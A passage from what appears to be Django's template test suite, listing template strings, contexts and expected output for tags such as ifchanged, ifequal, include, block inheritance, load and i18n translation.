            'ifchanged04': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 2, 3), 'numx': (2, 2, 2)}, '122232'),
            'ifchanged05': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (1, 2, 3)}, '1123123123'),
            'ifchanged06': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (2, 2, 2)}, '1222'),
            'ifchanged07': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% for y in numy %}{% ifchanged %}{{ y }}{% endifchanged %}{% endfor %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (2, 2, 2), 'numy': (3, 3, 3)}, '1233323332333'),
            'ifchanged08': ('{% for data in datalist %}{% for c,d in data %}{% if c %}{% ifchanged %}{{ d }}{% endifchanged %}{% endif %}{% endfor %}{% endfor %}', {'datalist': [[(1, 'a'), (1, 'a'), (0, 'b'), (1, 'c')], [(0, 'a'), (1, 'c'), (1, 'd'), (1, 'd'), (0, 'e')]]}, 'accd'),

            # Test one parameter given to ifchanged.
            'ifchanged-param01': ('{% for n in num %}{% ifchanged n %}..{% endifchanged %}{{ n }}{% endfor %}', { 'num': (1,2,3) }, '..1..2..3'),
            'ifchanged-param02': ('{% for n in num %}{% for x in numx %}{% ifchanged n %}..{% endifchanged %}{{ x }}{% endfor %}{% endfor %}', { 'num': (1,2,3), 'numx': (5,6,7) }, '..567..567..567'),

            # Test multiple parameters to ifchanged.
            'ifchanged-param03': ('{% for n in num %}{{ n }}{% for x in numx %}{% ifchanged x n %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', { 'num': (1,1,2), 'numx': (5,6,6) }, '156156256'),

            # Test a date+hour like construct, where the hour of the last day
            # is the same but the date had changed, so print the hour anyway.
            'ifchanged-param04': ('{% for d in days %}{% ifchanged %}{{ d.day }}{% endifchanged %}{% for h in d.hours %}{% ifchanged d h %}{{ h }}{% endifchanged %}{% endfor %}{% endfor %}', {'days':[{'day':1, 'hours':[1,2,3]},{'day':2, 'hours':[3]},] }, '112323'),

            # Logically the same as above, just written with explicit
            # ifchanged for the day.
            'ifchanged-param05': ('{% for d in days %}{% ifchanged d.day %}{{ d.day }}{% endifchanged %}{% for h in d.hours %}{% ifchanged d.day h %}{{ h }}{% endifchanged %}{% endfor %}{% endfor %}', {'days':[{'day':1, 'hours':[1,2,3]},{'day':2, 'hours':[3]},] }, '112323'),

            # Test the else clause of ifchanged.
            'ifchanged-else01': ('{% for id in ids %}{{ id }}{% ifchanged id %}-first{% else %}-other{% endifchanged %},{% endfor %}', {'ids': [1,1,2,2,2,3]}, '1-first,1-other,2-first,2-other,2-other,3-first,'),

            'ifchanged-else02': ('{% for id in ids %}{{ id }}-{% ifchanged id %}{% cycle red,blue %}{% else %}grey{% endifchanged %},{% endfor %}', {'ids': [1,1,2,2,2,3]}, '1-red,1-grey,2-blue,2-grey,2-grey,3-red,'),
            'ifchanged-else03': ('{% for id in ids %}{{ id }}{% ifchanged id %}-{% cycle red,blue %}{% else %}{% endifchanged %},{% endfor %}', {'ids': [1,1,2,2,2,3]}, '1-red,1,2-blue,2,2,3-red,'),

            'ifchanged-else04': ('{% for id in ids %}{% ifchanged %}***{{ id }}*{% else %}...{% endifchanged %}{{ forloop.counter }}{% endfor %}', {'ids': [1,1,2,2,2,3,4]}, '***1*1...2***2*3...4...5***3*6***4*7'),

            # Test whitespace in filter arguments
            'ifchanged-filter-ws': ('{% load custom %}{% for n in num %}{% ifchanged n|noop:""x y"" %}..{% endifchanged %}{{ n }}{% endfor %}', {'num': (1,2,3)}, '..1..2..3'),

            ### IFEQUAL TAG ###########################################################
            'ifequal01': (""{% ifequal a b %}yes{% endifequal %}"", {""a"": 1, ""b"": 2}, """"),
            'ifequal02': (""{% ifequal a b %}yes{% endifequal %}"", {""a"": 1, ""b"": 1}, ""yes""),
            'ifequal03': (""{% ifequal a b %}yes{% else %}no{% endifequal %}"", {""a"": 1, ""b"": 2}, ""no""),
            'ifequal04': (""{% ifequal a b %}yes{% else %}no{% endifequal %}"", {""a"": 1, ""b"": 1}, ""yes""),
            'ifequal05': (""{% ifequal a 'test' %}yes{% else %}no{% endifequal %}"", {""a"": ""test""}, ""yes""),
            'ifequal06': (""{% ifequal a 'test' %}yes{% else %}no{% endifequal %}"", {""a"": ""no""}, ""no""),
            'ifequal07': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {""a"": ""test""}, ""yes""),
            'ifequal08': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {""a"": ""no""}, ""no""),
            'ifequal09': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {}, ""no""),
            'ifequal10': ('{% ifequal a b %}yes{% else %}no{% endifequal %}', {}, ""yes""),

            # SMART SPLITTING
            'ifequal-split01': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {}, ""no""),
            'ifequal-split02': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {'a': 'foo'}, ""no""),
            'ifequal-split03': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {'a': 'test man'}, ""yes""),
            'ifequal-split04': (""{% ifequal a 'test man' %}yes{% else %}no{% endifequal %}"", {'a': 'test man'}, ""yes""),
            'ifequal-split05': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': ''}, ""no""),
            'ifequal-split06': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': 'i ""love"" you'}, ""yes""),
            'ifequal-split07': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': 'i love you'}, ""no""),
            'ifequal-split08': (r""{% ifequal a 'I\'m happy' %}yes{% else %}no{% endifequal %}"", {'a': ""I'm happy""}, ""yes""),
            'ifequal-split09': (r""{% ifequal a 'slash\man' %}yes{% else %}no{% endifequal %}"", {'a': r""slash\man""}, ""yes""),
            'ifequal-split10': (r""{% ifequal a 'slash\man' %}yes{% else %}no{% endifequal %}"", {'a': r""slashman""}, ""no""),

            # NUMERIC RESOLUTION
            'ifequal-numeric01': ('{% ifequal x 5 %}yes{% endifequal %}', {'x': '5'}, ''),
            'ifequal-numeric02': ('{% ifequal x 5 %}yes{% endifequal %}', {'x': 5}, 'yes'),
            'ifequal-numeric03': ('{% ifequal x 5.2 %}yes{% endifequal %}', {'x': 5}, ''),
            'ifequal-numeric04': ('{% ifequal x 5.2 %}yes{% endifequal %}', {'x': 5.2}, 'yes'),
            'ifequal-numeric05': ('{% ifequal x 0.2 %}yes{% endifequal %}', {'x': .2}, 'yes'),
            'ifequal-numeric06': ('{% ifequal x .2 %}yes{% endifequal %}', {'x': .2}, 'yes'),
            'ifequal-numeric07': ('{% ifequal x 2. %}yes{% endifequal %}', {'x': 2}, ''),
            'ifequal-numeric08': ('{% ifequal x ""5"" %}yes{% endifequal %}', {'x': 5}, ''),
            'ifequal-numeric09': ('{% ifequal x ""5"" %}yes{% endifequal %}', {'x': '5'}, 'yes'),
            'ifequal-numeric10': ('{% ifequal x -5 %}yes{% endifequal %}', {'x': -5}, 'yes'),
            'ifequal-numeric11': ('{% ifequal x -5.2 %}yes{% endifequal %}', {'x': -5.2}, 'yes'),
            'ifequal-numeric12': ('{% ifequal x +5 %}yes{% endifequal %}', {'x': 5}, 'yes'),

            # FILTER EXPRESSIONS AS ARGUMENTS
            'ifequal-filter01': ('{% ifequal a|upper ""A"" %}x{% endifequal %}', {'a': 'a'}, 'x'),
            'ifequal-filter02': ('{% ifequal ""A"" a|upper %}x{% endifequal %}', {'a': 'a'}, 'x'),
            'ifequal-filter03': ('{% ifequal a|upper b|upper %}x{% endifequal %}', {'a': 'x', 'b': 'X'}, 'x'),
            'ifequal-filter04': ('{% ifequal x|slice:""1"" ""a"" %}x{% endifequal %}', {'x': 'aaa'}, 'x'),
            'ifequal-filter05': ('{% ifequal x|slice:""1""|upper ""A"" %}x{% endifequal %}', {'x': 'aaa'}, 'x'),

            ### IFNOTEQUAL TAG ########################################################
            'ifnotequal01': (""{% ifnotequal a b %}yes{% endifnotequal %}"", {""a"": 1, ""b"": 2}, ""yes""),
            'ifnotequal02': (""{% ifnotequal a b %}yes{% endifnotequal %}"", {""a"": 1, ""b"": 1}, """"),
            'ifnotequal03': (""{% ifnotequal a b %}yes{% else %}no{% endifnotequal %}"", {""a"": 1, ""b"": 2}, ""yes""),
            'ifnotequal04': (""{% ifnotequal a b %}yes{% else %}no{% endifnotequal %}"", {""a"": 1, ""b"": 1}, ""no""),

            ## INCLUDE TAG ###########################################################
            'include01': ('{% include ""basic-syntax01"" %}', {}, ""something cool""),
            'include02': ('{% include ""basic-syntax02"" %}', {'headline': 'Included'}, ""Included""),
            'include03': ('{% include template_name %}', {'template_name': 'basic-syntax02', 'headline': 'Included'}, ""Included""),
            'include04': ('a{% include ""nonexistent"" %}b', {}, (""ab"", ""ab"", template.TemplateDoesNotExist)),
            'include 05': ('template with a space', {}, 'template with a space'),
            'include06': ('{% include ""include 05""%}', {}, 'template with a space'),

            # extra inline context
            'include07': ('{% include ""basic-syntax02"" with headline=""Inline"" %}', {'headline': 'Included'}, 'Inline'),
            'include08': ('{% include headline with headline=""Dynamic"" %}', {'headline': 'basic-syntax02'}, 'Dynamic'),
            'include09': ('{{ first }}--{% include ""basic-syntax03"" with first=second|lower|upper second=first|upper %}--{{ second }}', {'first': 'Ul', 'second': 'lU'}, 'Ul--LU --- UL--lU'),

            # isolated context
            'include10': ('{% include ""basic-syntax03"" only %}', {'first': '1'}, (' --- ', 'INVALID --- INVALID')),
            'include11': ('{% include ""basic-syntax03"" only with second=2 %}', {'first': '1'}, (' --- 2', 'INVALID --- 2')),
            'include12': ('{% include ""basic-syntax03"" with first=1 only %}', {'second': '2'}, ('1 --- ', '1 --- INVALID')),

            # autoescape context
            'include13': ('{% autoescape off %}{% include ""basic-syntax03"" %}{% endautoescape %}', {'first': '&'}, ('& --- ', '& --- INVALID')),
            'include14': ('{% autoescape off %}{% include ""basic-syntax03"" with first=var1 only %}{% endautoescape %}', {'var1': '&'}, ('& --- ', '& --- INVALID')),

            'include-error01': ('{% include ""basic-syntax01"" with %}', {}, template.TemplateSyntaxError),
            'include-error02': ('{% include ""basic-syntax01"" with ""no key"" %}', {}, template.TemplateSyntaxError),
            'include-error03': ('{% include ""basic-syntax01"" with dotted.arg=""error"" %}', {}, template.TemplateSyntaxError),
            'include-error04': ('{% include ""basic-syntax01"" something_random %}', {}, template.TemplateSyntaxError),
            'include-error05': ('{% include ""basic-syntax01"" foo=""duplicate"" foo=""key"" %}', {}, template.TemplateSyntaxError),
            'include-error06': ('{% include ""basic-syntax01"" only only %}', {}, template.TemplateSyntaxError),

            ### INCLUSION ERROR REPORTING #############################################
            'include-fail1': ('{% load bad_tag %}{% badtag %}', {}, RuntimeError),
            'include-fail2': ('{% load broken_tag %}', {}, template.TemplateSyntaxError),
            'include-error07': ('{% include ""include-fail1"" %}', {}, ('', '', RuntimeError)),
            'include-error08': ('{% include ""include-fail2"" %}', {}, ('', '', template.TemplateSyntaxError)),
            'include-error09': ('{% include failed_include %}', {'failed_include': 'include-fail1'}, ('', '', RuntimeError)),
            'include-error10': ('{% include failed_include %}', {'failed_include': 'include-fail2'}, ('', '', template.TemplateSyntaxError)),


            ### NAMED ENDBLOCKS #######################################################

            # Basic test
            'namedendblocks01': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock first %}3"", {}, '1_2_3'),

            # Unbalanced blocks
            'namedendblocks02': (""1{% block first %}_{% block second %}2{% endblock first %}_{% endblock second %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks03': (""1{% block first %}_{% block second %}2{% endblock %}_{% endblock second %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks04': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock third %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks05': (""1{% block first %}_{% block second %}2{% endblock first %}"", {}, template.TemplateSyntaxError),

            # Mixed named and unnamed endblocks
            'namedendblocks06': (""1{% block first %}_{% block second %}2{% endblock %}_{% endblock first %}3"", {}, '1_2_3'),
            'namedendblocks07': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock %}3"", {}, '1_2_3'),

            ### INHERITANCE ###########################################################

            # Standard template with no inheritance
            'inheritance01': (""1{% block first %}&{% endblock %}3{% block second %}_{% endblock %}"", {}, '1&3_'),

            # Standard two-level inheritance
            'inheritance02': (""{% extends 'inheritance01' %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {}, '1234'),

            # Three-level with no redefinitions on third level
            'inheritance03': (""{% extends 'inheritance02' %}"", {}, '1234'),

            # Two-level with no redefinitions on second level
            'inheritance04': (""{% extends 'inheritance01' %}"", {}, '1&3_'),

            # Two-level with double quotes instead of single quotes
            'inheritance05': ('{% extends ""inheritance02"" %}', {}, '1234'),

            # Three-level with variable parent-template name
            'inheritance06': (""{% extends foo %}"", {'foo': 'inheritance02'}, '1234'),

            # Two-level with one block defined, one block not defined
            'inheritance07': (""{% extends 'inheritance01' %}{% block second %}5{% endblock %}"", {}, '1&35'),

            # Three-level with one block defined on this level, two blocks defined next level
            'inheritance08': (""{% extends 'inheritance02' %}{% block second %}5{% endblock %}"", {}, '1235'),

            # Three-level with second and third levels blank
            'inheritance09': (""{% extends 'inheritance04' %}"", {}, '1&3_'),

            # Three-level with space NOT in a block -- should be ignored
            'inheritance10': (""{% extends 'inheritance04' %}      "", {}, '1&3_'),

            # Three-level with both blocks defined on this level, but none on second level
            'inheritance11': (""{% extends 'inheritance04' %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {}, '1234'),

            # Three-level with this level providing one and second level providing the other
            'inheritance12': (""{% extends 'inheritance07' %}{% block first %}2{% endblock %}"", {}, '1235'),

            # Three-level with this level overriding second level
            'inheritance13': (""{% extends 'inheritance02' %}{% block first %}a{% endblock %}{% block second %}b{% endblock %}"", {}, '1a3b'),

            # A block defined only in a child template shouldn't be displayed
            'inheritance14': (""{% extends 'inheritance01' %}{% block newblock %}NO DISPLAY{% endblock %}"", {}, '1&3_'),

            # A block within another block
            'inheritance15': (""{% extends 'inheritance01' %}{% block first %}2{% block inner %}inner{% endblock %}{% endblock %}"", {}, '12inner3_'),

            # A block within another block (level 2)
            'inheritance16': (""{% extends 'inheritance15' %}{% block inner %}out{% endblock %}"", {}, '12out3_'),

            # {% load %} tag (parent -- setup for exception04)
            'inheritance17': (""{% load testtags %}{% block first %}1234{% endblock %}"", {}, '1234'),

            # {% load %} tag (standard usage, without inheritance)
            'inheritance18': (""{% load testtags %}{% echo this that theother %}5678"", {}, 'this that theother5678'),

            # {% load %} tag (within a child template)
            'inheritance19': (""{% extends 'inheritance01' %}{% block first %}{% load testtags %}{% echo 400 %}5678{% endblock %}"", {}, '140056783_'),

            # Two-level inheritance with {{ block.super }}
            'inheritance20': (""{% extends 'inheritance01' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '1&a3_'),

            # Three-level inheritance with {{ block.super }} from parent
            'inheritance21': (""{% extends 'inheritance02' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '12a34'),

            # Three-level inheritance with {{ block.super }} from grandparent
            'inheritance22': (""{% extends 'inheritance04' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '1&a3_'),

            # Three-level inheritance with {{ block.super }} from parent and grandparent
            'inheritance23': (""{% extends 'inheritance20' %}{% block first %}{{ block.super }}b{% endblock %}"", {}, '1&ab3_'),

            # Inheritance from local context without use of template loader
            'inheritance24': (""{% extends context_template %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {'context_template': template.Template(""1{% block first %}_{% endblock %}3{% block second %}_{% endblock %}"")}, '1234'),

            # Inheritance from local context with variable parent template
            'inheritance25': (""{% extends context_template.1 %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {'context_template': [template.Template(""Wrong""), template.Template(""1{% block first %}_{% endblock %}3{% block second %}_{% endblock %}"")]}, '1234'),

            # Set up a base template to extend
            'inheritance26': (""no tags"", {}, 'no tags'),

            # Inheritance from a template that doesn't have any blocks
            'inheritance27': (""{% extends 'inheritance26' %}"", {}, 'no tags'),

            # Set up a base template with a space in it.
            'inheritance 28': (""{% block first %}!{% endblock %}"", {}, '!'),

            # Inheritance from a template with a space in its name should work.
            'inheritance29': (""{% extends 'inheritance 28' %}"", {}, '!'),

            # Base template, putting block in a conditional {% if %} tag
            'inheritance30': (""1{% if optional %}{% block opt %}2{% endblock %}{% endif %}3"", {'optional': True}, '123'),

            # Inherit from a template with block wrapped in an {% if %} tag (in parent), still gets overridden
            'inheritance31': (""{% extends 'inheritance30' %}{% block opt %}two{% endblock %}"", {'optional': True}, '1two3'),
            'inheritance32': (""{% extends 'inheritance30' %}{% block opt %}two{% endblock %}"", {}, '13'),

            # Base template, putting block in a conditional {% ifequal %} tag
            'inheritance33': (""1{% ifequal optional 1 %}{% block opt %}2{% endblock %}{% endifequal %}3"", {'optional': 1}, '123'),

            # Inherit from a template with block wrapped in an {% ifequal %} tag (in parent), still gets overridden
            'inheritance34': (""{% extends 'inheritance33' %}{% block opt %}two{% endblock %}"", {'optional': 1}, '1two3'),
            'inheritance35': (""{% extends 'inheritance33' %}{% block opt %}two{% endblock %}"", {'optional': 2}, '13'),

            # Base template, putting block in a {% for %} tag
            'inheritance36': (""{% for n in numbers %}_{% block opt %}{{ n }}{% endblock %}{% endfor %}_"", {'numbers': '123'}, '_1_2_3_'),

            # Inherit from a template with block wrapped in an {% for %} tag (in parent), still gets overridden
            'inheritance37': (""{% extends 'inheritance36' %}{% block opt %}X{% endblock %}"", {'numbers': '123'}, '_X_X_X_'),
            'inheritance38': (""{% extends 'inheritance36' %}{% block opt %}X{% endblock %}"", {}, '_'),

            # The super block will still be found.
            'inheritance39': (""{% extends 'inheritance30' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'optional': True}, '1new23'),
            'inheritance40': (""{% extends 'inheritance33' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'optional': 1}, '1new23'),
            'inheritance41': (""{% extends 'inheritance36' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'numbers': '123'}, '_new1_new2_new3_'),

            # Expression starting and ending with a quote
            'inheritance42': (""{% extends 'inheritance02'|cut:' ' %}"", {}, '1234'),

            ### LOADING TAG LIBRARIES #################################################
            'load01': (""{% load testtags subpackage.echo %}{% echo test %} {% echo2 \""test\"" %}"", {}, ""test test""),
            'load02': (""{% load subpackage.echo %}{% echo2 \""test\"" %}"", {}, ""test""),

            # {% load %} tag, importing individual tags
            'load03': (""{% load echo from testtags %}{% echo this that theother %}"", {}, 'this that theother'),
            'load04': (""{% load echo other_echo from testtags %}{% echo this that theother %} {% other_echo and another thing %}"", {}, 'this that theother and another thing'),
            'load05': (""{% load echo upper from testtags %}{% echo this that theother %} {{ statement|upper }}"", {'statement': 'not shouting'}, 'this that theother NOT SHOUTING'),
            'load06': (""{% load echo2 from subpackage.echo %}{% echo2 \""test\"" %}"", {}, ""test""),

            # {% load %} tag errors
            'load07': (""{% load echo other_echo bad_tag from testtags %}"", {}, template.TemplateSyntaxError),
            'load08': (""{% load echo other_echo bad_tag from %}"", {}, template.TemplateSyntaxError),
            'load09': (""{% load from testtags %}"", {}, template.TemplateSyntaxError),
            'load10': (""{% load echo from bad_library %}"", {}, template.TemplateSyntaxError),
            'load11': (""{% load subpackage.echo_invalid %}"", {}, template.TemplateSyntaxError),
            'load12': (""{% load subpackage.missing %}"", {}, template.TemplateSyntaxError),

            ### I18N ##################################################################

            # {% spaceless %} tag
            'spaceless01': (""{% spaceless %} <b>    <i> text </i>    </b> {% endspaceless %}"", {}, ""<b><i> text </i></b>""),
            'spaceless02': (""{% spaceless %} <b> \n <i> text </i> \n </b> {% endspaceless %}"", {}, ""<b><i> text </i></b>""),
            'spaceless03': (""{% spaceless %}<b><i>text</i></b>{% endspaceless %}"", {}, ""<b><i>text</i></b>""),
            'spaceless04': (""{% spaceless %}<b>   <i>{{ text }}</i>  </b>{% endspaceless %}"", {'text' : 'This & that'}, ""<b><i>This &amp; that</i></b>""),
            'spaceless05': (""{% autoescape off %}{% spaceless %}<b>   <i>{{ text }}</i>  </b>{% endspaceless %}{% endautoescape %}"", {'text' : 'This & that'}, ""<b><i>This & that</i></b>""),
            'spaceless06': (""{% spaceless %}<b>   <i>{{ text|safe }}</i>  </b>{% endspaceless %}"", {'text' : 'This & that'}, ""<b><i>This & that</i></b>""),

            # simple translation of a string delimited by '
            'i18n01': (""{% load i18n %}{% trans 'xxxyyyxxx' %}"", {}, ""xxxyyyxxx""),

            # simple translation of a string delimited by ""
            'i18n02': ('{% load i18n %}{% trans ""xxxyyyxxx"" %}', {}, ""xxxyyyxxx""),

            # simple translation of a variable
            'i18n03': ('{% load i18n %}{% blocktrans %}{{ anton }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, ""Å""),

            # simple translation of a variable and filter
            'i18n04': ('{% load i18n %}{% blocktrans with berta=anton|lower %}{{ berta }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, 'å'),
            'legacyi18n04': ('{% load i18n %}{% blocktrans with anton|lower as berta %}{{ berta }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, 'å'),

            # simple translation of a string with interpolation
            'i18n05': ('{% load i18n %}{% blocktrans %}xxx{{ anton }}xxx{% endblocktrans %}', {'anton': 'yyy'}, ""xxxyyyxxx""),

            # simple translation of a string to german
            'i18n06': ('{% load i18n %}{% trans ""Page not found"" %}', {'LANGUAGE_CODE': 'de'}, ""Seite nicht gefunden""),

            # translation of singular form
            'i18n07': ('{% load i18n %}{% blocktrans count counter=number %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 1}, ""singular""),
            'legacyi18n07': ('{% load i18n %}{% blocktrans count number as counter %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 1}, ""singular""),

            # translation of plural form
            'i18n08': ('{% load i18n %}{% blocktrans count number as counter %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 2}, ""2 plural""),
            'legacyi18n08': ('{% load i18n %}{% blocktrans count counter=number %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 2}, ""2 plural""),

            # simple non-translation (only marking) of a string to german
            'i18n09': ('{% load i18n %}{% trans ""Page not found"" noop %}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),

            # translation of a variable with a translated filter
            'i18n10': ('{{ bool|yesno:_(""yes,no,maybe"") }}', {'bool': True, 'LANGUAGE_CODE': 'de'}, 'Ja'),

            # translation of a variable with a non-translated filter
            'i18n11': ('{{ bool|yesno:""ja,nein"" }}', {'bool': True}, 'ja'),

            # usage of the get_available_languages tag
            'i18n12': ('{% load i18n %}{% get_available_languages as langs %}{% for lang in langs %}{% ifequal lang.0 ""de"" %}{{ lang.0 }}{% endifequal %}{% endfor %}', {}, 'de'),

            # translation of constant strings
            'i18n13': ('{{ _(""Password"") }}', {'LANGUAGE_CODE': 'de'}, 'Passwort'),
            'i18n14': ('{% cycle ""foo"" _(""Password"") _(\'Password\') as c %} {% cycle c %} {% cycle c %}', {'LANGUAGE_CODE': 'de'}, 'foo Passwort Passwort'),
            'i18n15': ('{{ absent|default:_(""Password"") }}', {'LANGUAGE_CODE': 'de', 'absent': """"}, 'Passwort'),
            'i18n16': ('{{ _(""<"") }}', {'LANGUAGE_CODE': 'de'}, '<'),

            # Escaping inside blocktrans and trans works as if it was directly in the
            # template.
            'i18n17': ('{% load i18n %}{% blocktrans with berta=anton|escape %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'i18n18': ('{% load i18n %}{% blocktrans with berta=anton|force_escape %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'i18n19': ('{% load i18n %}{% blocktrans %}{{ andrew }}{% endblocktrans %}', {'andrew': 'a & b'}, 'a &amp; b'),
            'i18n20': ('{% load i18n %}{% trans andrew %}', {'andrew': 'a & b'}, 'a &amp; b'),
            'i18n21': ('{% load i18n %}{% blocktrans %}{{ andrew }}{% endblocktrans %}', {'andrew': mark_safe('a & b')}, 'a & b'),
            'i18n22': ('{% load i18n %}{% trans andrew %}', {'andrew': mark_safe('a & b')}, 'a & b'),
            'legacyi18n17': ('{% load i18n %}{% blocktrans with anton|escape as berta %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'legacyi18n18': ('{% load i18n %}{% blocktrans with anton|force_escape as berta %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),

            # Use filters with the {% trans %} tag, #5972
            'i18n23': ('{% load i18n %}{% trans ""Page not found""|capfirst|slice:""6:"" %}', {'LANGUAGE_CODE': 'de'}, 'nicht gefunden'),
            'i18n24': (""{% load i18n %}{% trans 'Page not found'|upper %}"", {'LANGUAGE_CODE': 'de'}, 'SEITE NICHT GEFUNDEN'),
            'i18n25': ('{% load i18n %}{% trans somevar|upper %}', {'somevar': 'Page not found', 'LANGUAGE_CODE': 'de'}, 'SEITE NICHT GEFUNDEN'),

            # translation of plural form with extra field in singular form (#13568)
            'i18n26': ('{% load i18n %}{% blocktrans with extra_field=myextra_field count counter=number %}singular {{ extra_field }}{% plural %}plural{% endblocktrans %}', {'number': 1, 'myextra_field': 'test'}, ""singular test""),
            'legacyi18n26': ('{% load i18n %}{% blocktrans with myextra_field as extra_field count number as counter %}singular {{ extra_field }}{% plural %}plural{% endblocktrans %}', {'number': 1, 'myextra_field': 'test'}, ""singular test""),

            # translation of singular form in russian (#14126)
            'i18n27': ('{% load i18n %}{% blocktrans count counter=number %}{{ counter }} result{% plural %}{{ counter }} results{% endblocktrans %}', {'number': 1, 'LANGUAGE_CODE': 'ru'}, '1 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442'),
            'legacyi18n27': ('{% load i18n %}{% blocktrans count number as counter %}{{ counter }} result{% plural %}{{ counter }} results{% endblocktrans %}', {'number': 1, 'LANGUAGE_CODE': 'ru'}, '1 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442'),

            # simple translation of multiple variables
            'i18n28': ('{% load i18n %}{% blocktrans with a=anton b=berta %}{{ a }} + {{ b }}{% endblocktrans %}', {'anton': 'α', 'berta': 'β'}, 'α + β'),
            'legacyi18n28': ('{% load i18n %}{% blocktrans with anton as a and berta as b %}{{ a }} + {{ b }}{% endblocktrans %}', {'anton': 'α', 'berta': 'β'}, 'α + β'),

            # retrieving language information
            'i18n28_2': ('{% load i18n %}{% get_language_info for ""de"" as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {}, 'de: German/Deutsch bidi=False'),
            'i18n29': ('{% load i18n %}{% get_language_info for LANGUAGE_CODE as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {'LANGUAGE_CODE': 'fi'}, 'fi: Finnish/suomi bidi=False'),
            'i18n30': ('{% load i18n %}{% get_language_info_list for langcodes as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': ['it', 'no']}, 'it: Italian/italiano bidi=False; no: Norwegian/norsk bidi=False; '),
            'i18n31': ('{% load i18n %}{% get_language_info_list for langcodes as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': (('sl', 'Slovenian'), ('fa', 'Persian'))}, 'sl: Slovenian/Sloven\u0161\u010dina bidi=False; fa: Persian/\u0641\u0627\u0631\u0633\u06cc bidi=True; '),
            'i18n32': ('{% load i18n %}{{ ""hu""|language_name }} {{ ""hu""|language_name_local }} {{ ""hu""|language_bidi }}', {}, 'Hungarian Magyar False'),
            'i18n33': ('{% load i18n %}{{ langcode|language_name }} {{ langcode|language_name_local }} {{ langcode|language_bidi }}', {'langcode': 'nl'}, 'Dutch Nederlands False'),

            # blocktrans handling of variables which are not in the context.
            # this should work as if blocktrans was not there (bug #19915)
            'i18n34': ('{% load i18n %}{% blocktrans %}{{ missing }}{% endblocktrans %}', {}, ('', 'INVALID')),
            'i18n34_2': (""{% load i18n %}{% blocktrans with a='α' %}{{ missing }}{% endblocktrans %}"", {}, ('', 'INVALID')),
            'i18n34_3': ('{% load i18n %}{% blocktrans with a=anton %}{{ missing }}{% endblocktrans %}', {'anton': 'α'}, ('', 'INVALID')),

            # trans tag with as var
            'i18n35': ('{% load i18n %}{% trans ""Page not found"" as page_not_found %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Seite nicht gefunden""),
            'i18n36': ('{% load i18n %}{% trans ""Page not found"" noop as page_not_found %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),
            'i18n36': ('{% load i18n %}{% trans ""Page not found"" as page_not_found noop %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),
            'i18n37': ('{% load i18n %}{% trans ""Page not found"" as page_not_found %}{% blocktrans %}Error: {{ page_not_found }}{% endblocktrans %}', {'LANGUAGE_CODE': 'de'}, ""Error: Seite nicht gefunden""),

            # Test whitespace in filter arguments
